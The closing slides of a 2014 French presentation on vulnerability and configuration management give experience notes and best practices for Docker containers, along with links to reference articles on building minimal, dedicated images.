A faire : deployer encore et encore, utilisation mixte avec R&D
Quelques avertissements :
Il faut plus voir un conteneur Docker comme une application quecomme un OS 44
Dans la logique, on ne cree pas de contenu dans le conteneur
44http://blog.docker.com/2014/06/why-you-dont-need-to-run-sshd-in-docker/
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 49 / 50
Les conteneurs Docker, un complement a ESX, KVM, HyperV,...
Retour d’experience et ressources interessantes
Les evolutions rapides :
Mettre en place l’index d’images pour le SI et la supervision
Faire des images simples 45 46 et dediees 47 48
Usage en cloud hybrid (Google Container Engine, ...) 49
Outil en fort developpement : signature avec Microsoft, ...
45http://blog.xebia.com/2014/07/04/create-the-smallest-possible-docker-container/
46http://crosbymichael.com/dockerfile-best-practices.html
47https://aresu.dsi.cnrs.fr/spip.php?article202
48http://blog.loof.fr/2014/04/jenkins-meets-docker-round-1.html
49http://googlecloudplatform.blogspot.fr/2014/11/google-cloud-platform-live-introducing-container-engine-cloud-networking-and-much-more.
html
J. Moreau/J.M. Misert (Clusir-Est) Gestion des vulnerabilites et configurations 5 novembre 2014 50 / 50